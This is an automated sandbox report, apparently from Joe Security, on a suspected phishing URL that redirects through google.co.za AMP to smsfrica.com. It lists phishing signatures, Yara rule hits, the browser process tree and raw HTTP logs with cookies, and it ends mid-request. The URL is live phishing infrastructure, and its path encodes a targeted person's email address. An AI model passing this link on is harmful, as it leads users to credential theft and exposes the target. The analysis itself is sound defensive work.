Edit tour

Windows Analysis Report
https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==

Overview

General Information

Sample URL:	https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==
Analysis ID:	1409611
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Yara detected HtmlPhish33

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

Invalid T&C link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1988,i,5893352865044543850,9096576195089460622,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
8.19.pages.csv	JoeSecurity_HtmlPhish_33	Yara detected HtmlPhish_33	Joe Security
8.20.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13

Source: global traffic	HTTP traffic detected: GET /amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1Host: google.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfd HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /js/bg/aczUY4RjooCOJhduSGOgZIptSUq0McxgcoTPQeOupCI.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfdAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=07g0mpPGukTo20VqKa8GbTSw HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfdAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rxs17CWmOALbKcf&MD=1MpBEMMe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1bAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=2 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1bAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 